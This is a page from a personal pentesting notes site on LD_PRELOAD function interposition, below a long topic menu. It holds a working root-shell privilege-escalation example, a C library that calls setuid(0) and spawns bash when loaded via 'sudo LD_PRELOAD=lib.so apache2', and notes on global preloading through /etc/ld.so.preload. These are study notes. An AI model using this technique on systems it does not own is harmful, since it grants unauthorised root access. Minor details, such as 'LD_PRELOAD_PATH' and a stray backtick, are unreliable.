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< ul > < details id = enumeration ontoggle = "linkClick(this); return false;" > < summary > Enumeration< / summary > < ul > < details id = containers ontoggle = "linkClick(this); return false;" > < summary > Containers< / summary > < ul > < / ul > < / details > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/enumeration/docs/aws.html" > aws< / a > < / li > < li > < a href = "/enumeration/docs/cewl.html" > cewl< / a > < / li > < li > < a href = "/enumeration/docs/dns.html" > dns< / a > < / li > < li > < a href = "/enumeration/docs/docker_enumeration.html" > docker_enumeration< / a > < / li > < li > < a href = "/enumeration/docs/ffuf.html" > ffuf< / a > < / li > < li > < a href = "/enumeration/docs/gobuster.html" > gobuster< / a > < / li > < li > < a href = "/enumeration/docs/kerberoast.html" > kerberoast< / a > < / li > < li > < a href = "/enumeration/docs/kubectl.html" > kubectl< / a > < / li > < li > < a href = "/enumeration/docs/ldap.html" > ldap< / a > < / li > < li > < a href = "/enumeration/docs/linux_basics.html" > linux_basics< / a > < / li > < li > < a href = "/enumeration/docs/microk8s.html" > microk8s< / a > < / li > < li > < a href = "/enumeration/docs/nfs.html" > nfs< / a > < / li > < li > < a href = "/enumeration/docs/nikto.html" > nikto< / a > < / li > < li > < a href = "/enumeration/docs/nmap.html" > nmap< / a > < / li > < li > < a href = "/enumeration/docs/port_knocking.html" > port_knocking< / a > < / li > < li > < a href = "/enumeration/docs/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/docs/rsync.html" > rsync< / a > < / li > < li > < a href = "/enumeration/docs/rustscan.html" > rustscan< / a > < / li > < li > < a href = "/enumeration/docs/shodan.html" > shodan< / a > < / li > < details id = snmp ontoggle = "linkClick(this); return false;" > < summary > Snmp< / summary > < ul > < li > < a href = "/enumeration/docs/snmp/onesixtyone.html" > onesixtyone< / a > < / li > < li > < a href = "/enumeration/docs/snmp/snmpcheck.html" > snmpcheck< / a > < / li > < / ul > < / details > < li > < a href = "/enumeration/docs/websites.html" > websites< / a > < / li > < li > < a href = "/enumeration/docs/wfuzz.html" > wfuzz< / a > < / li > < li > < a href = "/enumeration/docs/wpscan.html" > wpscan< / a > < / li > < / ul > < / details > < details id = network_scanners ontoggle = "linkClick(this); return false;" > < summary > Network_scanners< / summary > < ul > < / ul > < / details > < details id = windows ontoggle = "linkClick(this); return false;" > < summary > Windows< / summary > < ul > < li > < a href = "/enumeration/windows/bloodhound.html" > bloodhound< / a > < / li > < li > < a href = "/enumeration/windows/event_log.html" > event_log< / a > < / li > < li > < a href = "/enumeration/windows/manual_enum.html" > manual_enum< / a > < / li > < li > < a href = "/enumeration/windows/powershell.html" > powershell< / a > < / li > < li > < a href = "/enumeration/windows/rpcclient.html" > rpcclient< / a > < / li > < li > < a href = "/enumeration/windows/sysinternals.html" > sysinternals< / a > < / li > < li > < a href = "/enumeration/windows/sysmon.html" > sysmon< / a > < / li > < li > < a href = "/enumeration/windows/vss.html" > vss< / a > < / li > < / ul > < / details > < / ul > < / details > < details id = exploit ontoggle = "linkClick(this); return false;" > < summary > Exploit< / summary > < ul > < details id = CPUs ontoggle = "linkClick(this); return false;" > < summary > CPUs< / summary > < ul > < li > < a href = "/exploit/CPUs/meltdown.html" > meltdown< / a > < / li > < / ul > < / details > < details id = binaries ontoggle = "linkClick(this); return false;" > < summary > Binaries< / summary > < ul > < li > < a href = "/exploit/binaries/Shellcode.html" > Shellcode< / a > < / li > < li > < a href = "/exploit/binaries/aslr.html" > aslr< / a > < / li > < details id = buffer_overflow ontoggle = "linkClick(this); return false;" > < summary > Buffer_overflow< / summary > < ul > < details id = docs ontoggle = "linkClick(this); return false;" > < summary > Docs< / summary > < ul > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64.html" > amd64< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/amd64_instructions.html" > amd64_instructions< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/buffer_overflow.html" > buffer_overflow< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/cut_stack_in_half.html" > cut_stack_in_half< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/pwntools_specifics.html" > pwntools_specifics< / a > < / li > < li > < a href = "/exploit/binaries/buffer_overflow/docs/ret_address_reuse.html" > ret_address_reuse< / a > < / li > < / ul > < / details > < li > < a href = "/exploit/binaries/buffer_overflow/ropping.html" > ropping< / a > < / li > < / ul > < / details > < details id = canary_bypass ontoggle = "l
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< div class = "column column-3" >
< ul >
< li > < a href = "#ld_preload" > LD_PRELOAD< / a > < ul >
< li > < a href = "#example-1" > Example 1< / a > < / li >
< li > < a href = "#example-2" > Example 2< / a > < / li >
< li > < a href = "#preloading" > Preloading< / a > < / li >
< / ul >
< / li >
< / ul >
< / div >
< h1 id = "ld_preload" > LD_PRELOAD< / h1 >
< ul >
< li >
< p > Preload libs and do interpositioning of functions.< / p >
< / li >
< li >
< p > < code > man ld.so< / code > < / p >
< / li >
< li > < code > man dlsym< / code > , < code > dlsym()< / code > calls the original function< / li >
< / ul >
< h2 id = "example-1" > Example 1< / h2 >
< ul >
< li > Interpositioning of < code > _init()< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "c1" > #include < stdio.h> < / span >
< span class = "c1" > #include < sys/types.h> < / span >
< span class = "c1" > #include < stdlib.h> < / span >
void _init< span class = "o" > ()< / span > < span class = "o" > {< / span >
unsetenv< span class = "o" > (< / span > < span class = "s2" > " LD_PRELOAD" < / span > < span class = "o" > )< / span > < span class = "p" > ;< / span >
setgid< span class = "o" > (< / span > < span class = "m" > 0< / span > < span class = "o" > )< / span > < span class = "p" > ;< / span >
setuid< span class = "o" > (< / span > < span class = "m" > 0< / span > < span class = "o" > )< / span > < span class = "p" > ;< / span >
system< span class = "o" > (< / span > < span class = "s2" > " /bin/bash" < / span > < span class = "o" > )< / span > < span class = "p" > ;< / span >
< span class = "o" > }< / span >
< / code > < / pre > < / div >
< ul >
< li > < code > gcc -fPIC -shared -o lib.so lib.c -nostartfiles< / code > < / li >
< li > < code > sudo LD_PRELOAD=lib.so apache2< / code > < / li >
< li > < code > $ id< / code > < / li >
< / ul >
< h2 id = "example-2" > Example 2< / h2 >
< ul >
< li > Interpositioning of < code > write()< / code > < / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > < span class = "cp" > #include< / span > < span class = "w" > < / span > < span class = "cpf" > < stdio.h> < / span > < span class = "cp" > < / span >
< span class = "cp" > #include< / span > < span class = "w" > < / span > < span class = "cpf" > < unistd.h> < / span > < span class = "cp" > < / span >
< span class = "cp" > #include< / span > < span class = "w" > < / span > < span class = "cpf" > < dlfcn.h> < / span > < span class = "c1" > // Contains _GNU_SOURCE from man dlsym< / span > < span class = "cp" > < / span >
< span class = "cp" > #include< / span > < span class = "w" > < / span > < span class = "cpf" > < string.h> < / span > < span class = "cp" > < / span >
< span class = "kt" > ssize_t< / span > < span class = "w" > < / span > < span class = "nf" > write< / span > < span class = "p" > (< / span > < span class = "kt" > int< / span > < span class = "w" > < / span > < span class = "n" > fildes< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "k" > const< / span > < span class = "w" > < / span > < span class = "kt" > void< / span > < span class = "w" > < / span > < span class = "o" > *< / span > < span class = "n" > buf< / span > < span class = "p" > ,< / span > < span class = "w" > < / span > < span class = "kt" > size_t< / span > < span class = "w" > < / span > < span class = "n" > nbytes< / span > < span class = "p" > )< / span > < span class = "w" > < / span >
< span class = "p" > {< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "kt" > ssize_t< / span > < span class = "w" > < / span > < span class = "n" > result< / span > < span class = "p" > ;< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "k" > do< / span > < span class = "w" > < / span > < span class = "n" > the< / span > < span class = "w" > < / span > < span class = "n" > thing< / span > < span class = "p" > ;< / span > < span class = "w" > < / span >
< span class = "w" > < / span > < span class = "k" > return< / span > < span class = "w" > < / span > < span class = "n" > result< / span > < span class = "p" > ;< / span > < span class = "w" > < / span >
< span class = "p" > }< / span > < span class = "w" > < / span >
< / code > < / pre > < / div >
< ul >
< li > In case the symbol lookup returns an error libdl is linked< / li >
< / ul >
< div class = "codehilite" > < pre > < span > < / span > < code > gcc -ldl interpositioning.c -fPIC -shared -D _GNU_SOURCE -o interpositioning.so -ldl< span class = "sb" > `< / span >
< / code > < / pre > < / div >
< h2 id = "preloading" > Preloading< / h2 >
< ul >
< li > Dependent on the installation status of lib32 and/or lib64 and various packages the path of < code > LD_PRELOAD< / code > has to be set differently. These may look as follows< / li >
< li > < code > LD_PRELOAD=./interpositioning.so < binary> < / code >
or< / li >
< li > < code > export LD_PRELOAD=$(pwd)/interpositioning.so< / code >
or< / li >
< li > Global preload via < code > /etc/ld.so.preload< / code >
or< / li >
< li >
< p > Change the preload path via < code > LD_PRELOAD_PATH< / code > < / p >
< / li >
< li >
< p > Verify via < code > ldd < somebinary> < / code > < / p >
< / li >
< / ul >
< / span >
< / div >
< / div >
< div id = "footer" >
< p > < / p >
< center >
© Stefan Friese
< / center >
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